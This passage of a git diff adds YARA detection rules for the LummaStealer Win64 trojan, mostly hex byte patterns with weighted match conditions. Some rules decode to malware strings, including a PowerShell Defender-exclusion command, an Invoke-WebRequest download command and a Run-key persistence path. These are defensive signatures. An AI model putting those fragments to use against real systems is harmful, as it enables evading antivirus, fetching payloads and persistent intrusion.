"Trojan:Win64/LummaStealer.GAPO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_01_0 = {61 a8 63 c8 37 1f 1d 05 6f c0 fc d8 ed a5 4e ee cd f0 2f f7 11 99 da 13 53 d9 24 f9 f9 b8 9e 1e fd e0 f0 19 83 9d 13 cf 4d b3 c6 0a fc 8a 92 53 c4 0a 76 fa 40 59 4a db 82 e6 7d 1e 72 4f 7c 61 } //8 + $a_01_1 = {2e 65 79 65 } //1 .eye + condition: + ((#a_01_0 & 1)*8+(#a_01_1 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVC_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVC_MTB.yar new file mode 100644 index 0000000000..8351e8145a --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_GVC_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {41 30 d9 30 d3 80 f2 01 44 08 c2 80 f2 01 08 da 89 c3 } //2 + $a_01_1 = {44 30 c3 44 08 c1 80 f1 01 08 d9 89 cb 30 d3 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVD_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVD_MTB.yar new file mode 100644 index 0000000000..296d7917ed --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_GVD_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {41 30 c0 44 89 c2 80 f2 01 20 c2 } //2 + $a_01_1 = {0f 9c c0 41 30 c0 44 89 c2 f6 d2 20 c2 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVE_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVE_MTB.yar new file mode 100644 index 0000000000..3eddad2837 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_GVE_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {69 08 95 e9 d1 5b 89 cb c1 eb 18 31 cb 69 cb 95 e9 d1 5b 69 ff 95 e9 d1 5b 31 cf 48 83 c0 04 83 c2 fc 83 fa 07 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVH_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVH_MTB.yar new file mode 100644 index 0000000000..c686e3b9c9 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_GVH_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f af e8 40 f6 c5 01 0f 94 c0 0f 94 44 24 2f 83 f9 0a 0f 9c c1 0f 9c 44 24 3f 08 c1 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVI_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVI_MTB.yar new file mode 100644 index 0000000000..ed0410fe6e --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_GVI_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f af e8 40 f6 c5 01 0f 94 44 24 2c 83 fa 0a 0f 9c 44 24 2d 4d 89 ce 4d 89 c5 48 89 ce } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVJ_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVJ_MTB.yar new file mode 100644 index 0000000000..3ab7961d60 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_GVJ_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8d 70 ff 0f af f0 40 f6 c6 01 0f 94 44 24 22 83 fa 0a 0f 9c 44 24 23 48 89 ce ba } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVK_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVK_MTB.yar new file mode 100644 index 0000000000..a2e4dc0caa --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_GVK_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f af c8 f6 c1 01 0f 94 c0 0f 94 45 1f 41 83 fa 0a 0f 9c c2 0f 9c 45 2f 08 c2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVL_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVL_MTB.yar new file mode 100644 index 0000000000..42a52a6aeb --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_GVL_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 01 30 d0 88 44 24 27 44 89 cd } //3 + $a_02_1 = {48 63 45 24 42 80 34 30 35 8b 45 24 83 c0 01 89 45 1c 8b 05 ?? ?? ?? ?? 8d 48 ?? 0f af c8 } //3 + condition: + ((#a_01_0 & 1)*3+(#a_02_1 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVM_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVM_MTB.yar new file mode 100644 index 0000000000..9b7b14c0cd --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GVM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_GVM_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GVM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 01 30 d0 88 44 24 27 44 89 ce e9 } //2 + $a_01_1 = {44 30 c2 48 8b 84 24 d0 08 00 00 88 10 48 8b 84 24 a0 03 00 00 48 83 c0 01 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GZM_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GZM_MTB.yar new file mode 100644 index 0000000000..2c872700cc --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GZM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_GZM_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GZM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {0f b6 19 30 d3 88 5c 24 ?? 44 89 ce e9 ?? ?? ?? ?? 8a 5c 24 ?? 48 8b 4c 24 28 48 31 e1 e8 ?? ?? ?? ?? 89 d8 48 83 c4 } //10 + $a_03_1 = {89 f3 81 fe 2e 9b 32 57 0f 85 ?? ?? ?? ?? 0f b6 01 30 d0 88 44 24 ?? 44 89 fb e9 } //10 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GZZ_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GZZ_MTB.yar new file mode 100644 index 0000000000..4b1c230495 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GZZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_GZZ_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {89 de 81 fb ?? ?? ?? ?? 0f 85 ?? ?? ?? ?? 0f b6 19 30 d3 88 5c 24 27 44 89 d6 } //10 + $a_03_1 = {44 89 d5 81 ff ?? ?? ?? ?? ?? ?? 89 fd 81 ff ?? ?? ?? ?? ?? ?? 0f b6 19 30 d3 88 5c 24 27 44 89 f5 eb } //10 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_LBT_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_LBT_MTB.yar new file mode 100644 index 0000000000..1989c24843 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_LBT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_LBT_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.LBT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {89 c1 f6 d1 80 e1 46 24 b9 08 c8 89 c1 80 f1 55 34 aa 89 ca 80 e2 fe 24 ?? 80 e1 ?? 08 c1 89 d0 20 c8 30 d1 08 c1 89 c8 f6 d0 24 67 80 e1 98 08 c1 80 f1 98 b8 ad 08 0c 30 41 0f 44 c6 3d ac 08 0c 30 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_LZL_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_LZL_MTB.yar new file mode 100644 index 0000000000..b5a581bc09 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_LZL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_LZL_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.LZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 0f b6 84 04 ?? ?? ?? ?? 48 63 4c 24 70 48 8b 54 24 28 30 04 0a 8b 5c 24 70 83 c3 01 b8 b8 63 b9 78 3d 67 c8 35 0e 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MMJ_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MMJ_MTB.yar new file mode 100644 index 0000000000..936eabe2a3 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MMJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_MMJ_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.MMJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 8a 84 04 ?? ?? ?? ?? 48 63 4c 24 7c 48 8b 54 24 40 30 04 0a 44 8b 7c 24 7c 41 83 c7 01 b8 8a 0c a5 74 8b 7c 24 3c 8b 5c 24 38 44 8b 6c 24 34 3d a5 83 70 0d 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MZC_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MZC_MTB.yar new file mode 100644 index 0000000000..1bc487db78 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MZC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_MZC_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.MZC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 c1 8a 84 04 a0 01 00 00 48 63 4c 24 ?? 4c 8b 4c 24 38 41 30 04 09 44 8b 44 24 ?? 41 83 c0 01 b8 19 73 39 06 41 89 ef 41 ba 45 f3 d3 a7 be a6 f1 40 3e 41 bb fd 1d d5 f9 bd 86 7a 2c cf 41 bd e0 dd 42 3e 3d 87 3a 27 0b 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MZX_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MZX_MTB.yar new file mode 100644 index 0000000000..6dea107314 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_MZX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_MZX_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.MZX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 8a 84 04 ?? ?? ?? ?? 48 63 4c 24 ?? 48 8b 54 24 40 30 04 0a 8b 7c 24 ?? 83 c7 01 b8 40 83 d0 1a 45 89 fe 8b 74 24 ?? 8b 5c 24 30 3d c8 41 b1 35 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NFU_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NFU_MTB.yar new file mode 100644 index 0000000000..dd491385e2 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NFU_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_LummaStealer_NFU_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.NFU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_81_0 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 20 22 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 } //1 powershell -Command "Add-MpPreference -ExclusionPath + $a_81_1 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 20 22 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 } //1 powershell -Command "Invoke-WebRequest -Uri + $a_81_2 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //2 Software\Microsoft\Windows\CurrentVersion\Run + $a_81_3 = {57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 } //1 Windows Defender + $a_81_4 = {43 3a 5c 55 73 65 72 73 5c 64 61 6e 61 72 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 6f 70 72 65 74 6f 72 73 61 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 6f 70 72 65 74 6f 72 73 61 2e 70 64 62 } //1 C:\Users\danar\source\repos\opretorsa\x64\Release\opretorsa.pdb + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*2+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NP_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NP_MTB.yar new file mode 100644 index 0000000000..63ee6e55de --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_NP_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.NP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 63 45 18 42 80 34 30 bc 8b 45 18 83 c0 01 89 45 88 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NR_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NR_MTB.yar new file mode 100644 index 0000000000..cc3f9a3964 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NR_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win64_LummaStealer_NR_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.NR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0c 00 00 " + + strings : + $a_02_0 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 72 6f 63 65 73 73 20 22 [0-2f] 2e 65 78 65 22 20 2d 46 6f 72 63 65 } //2 + $a_01_1 = {42 45 78 70 6c 6f 72 65 72 20 4c 61 75 6e 63 68 65 72 } //2 BExplorer Launcher + $a_01_2 = {45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 52 65 61 64 20 61 66 74 65 72 20 43 6c 6f 73 65 } //1 ExecutionPolicyRead after Close + $a_01_3 = {31 32 37 2e 30 2e 30 2e 31 3a 35 33 } //1 127.0.0.1:53 + $a_01_4 = {70 6f 77 65 72 73 68 65 6c 6c } //1 powershell + $a_01_5 = {42 79 70 61 73 73 48 69 64 64 65 6e } //1 BypassHidden + $a_01_6 = {43 6f 6d 6d 61 6e 64 } //1 Command + $a_01_7 = {48 69 64 64 65 6e } //1 Hidden + $a_01_8 = {44 65 63 72 79 70 74 } //1 Decrypt + $a_01_9 = {4b 65 79 4c 6f 67 57 72 69 74 65 72 } //1 KeyLogWriter + $a_01_10 = {68 61 6e 67 75 70 6b 69 6c 6c 65 64 } //1 hangupkilled + $a_01_11 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_02_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NTS_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NTS_MTB.yar new file mode 100644 index 0000000000..11a642a62f --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_NTS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_NTS_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.NTS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {43 0f b6 0c 01 01 c1 0f b6 c1 48 8b 4d ?? 8a 04 01 48 63 4d ec 48 8b 55 98 30 04 0a 44 8b 6d ec 41 83 c5 01 b8 fa 3d f7 cc 3d 62 fa 3e f1 0f 8e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGG_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGG_MTB.yar new file mode 100644 index 0000000000..d0af1b4a76 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_PGG_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PGG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 [0-0a] 48 63 [0-0a] 30 04 [0-02] 8b [0-0a] 83 ?? 01 [0-0a] b8 [0-0c] 3d [0-08] 0f 8f ?? ?? ff ff e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGJ_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGJ_MTB.yar new file mode 100644 index 0000000000..0744341eba --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_PGJ_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PGJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {c1 e9 0d 33 4c 24 ?? 69 c9 ?? ?? ?? ?? 89 ca c1 ea ?? 31 ca 89 54 24 ?? 8b 0d ?? ?? ?? ?? 8d 51 ff 0f af d1 f6 c2 01 ba ?? ?? ?? ?? 0f 44 d3 83 3d ?? ?? ?? ?? ?? 0f 4c d3 81 fa ?? ?? ?? ?? 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLC_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLC_MTB.yar new file mode 100644 index 0000000000..5e2673ab49 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_PGLC_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PGLC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {89 c1 30 d1 20 c1 44 20 c3 20 d0 08 d8 89 ca 30 c2 ba ?? ?? ?? ?? bb ?? ?? ?? ?? 0f 45 d3 8b 6f ?? 84 c0 89 d0 0f 45 c3 89 ac 24 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLG_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLG_MTB.yar new file mode 100644 index 0000000000..173f0359df --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_PGLG_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PGLG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 48 8b 4d ?? 8a 04 01 48 63 4d ?? 41 30 04 ?? 8b 45 ?? 83 c0 ?? 89 45 ?? 8b 05 ?? ?? ?? ?? 8d 48 ff 0f af c8 f6 c1 01 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLI_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLI_MTB.yar new file mode 100644 index 0000000000..668bad5e86 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_PGLI_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PGLI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 0c 3b 01 c1 0f b6 c1 48 8b 4d ?? 8a 04 01 48 63 4d ?? 48 8b 55 ?? 30 04 0a 8b 45 ?? 83 c0 ?? 89 45 ?? 8b 05 ?? ?? ?? ?? 8d 48 ff 0f af c8 f6 c1 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLS_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLS_MTB.yar new file mode 100644 index 0000000000..2293ac8d27 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PGLS_MTB.yar @@ -0,0 +1,42 @@ + +rule Trojan_Win64_LummaStealer_PGLS_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PGLS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {89 f8 c1 e8 0d 31 f8 69 c0 ?? ?? ?? ?? 89 c6 c1 ee ?? 31 c6 48 8b 4c 24 ?? 48 31 e1 e8 ?? ?? ?? ?? 89 f0 48 83 c4 ?? 5b 5d 5f 5e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win64_LummaStealer_PGLS_MTB_2{ + meta: + description = "Trojan:Win64/LummaStealer.PGLS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 0f b6 84 04 ?? ?? ?? ?? 48 63 4c 24 ?? 48 8b 54 24 ?? 30 04 0a 8b 7c 24 ?? 83 c7 01 b8 ?? ?? ?? ?? 3d ?? ?? ?? ?? 0f 8f ?? ?? ?? ?? e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win64_LummaStealer_PGLS_MTB_3{ + meta: + description = "Trojan:Win64/LummaStealer.PGLS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {48 63 44 24 ?? 48 8b 4c 24 20 69 04 81 95 e9 d1 5b 89 c1 c1 e9 ?? 31 c1 69 c1 95 e9 d1 5b 69 5c 24 ?? 95 e9 d1 5b 31 c3 8b 6c 24 ?? 83 c5 ?? 41 ba ?? ?? ?? ?? 41 81 fa ?? ?? ?? ?? 0f 8f ?? ?? ?? ?? e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win64_LummaStealer_PGLS_MTB_4{ + meta: + description = "Trojan:Win64/LummaStealer.PGLS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 48 8b 4d ?? 0f b6 04 01 48 63 4d ?? 41 30 04 0e 44 8b 75 ?? 41 83 c6 01 b8 ?? ?? ?? ?? 3d ?? ?? ?? ?? 0f 8f } //5 + $a_03_1 = {01 c1 0f b6 c1 0f b6 84 04 ?? ?? ?? ?? 48 63 4c 24 ?? 48 8b 54 24 ?? 30 04 0a 8b 74 24 ?? 83 c6 01 b8 ?? ?? ?? ?? 3d ?? ?? ?? ?? 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PG_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PG_MTB.yar new file mode 100644 index 0000000000..482a09e260 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_PG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_PG_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.PG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 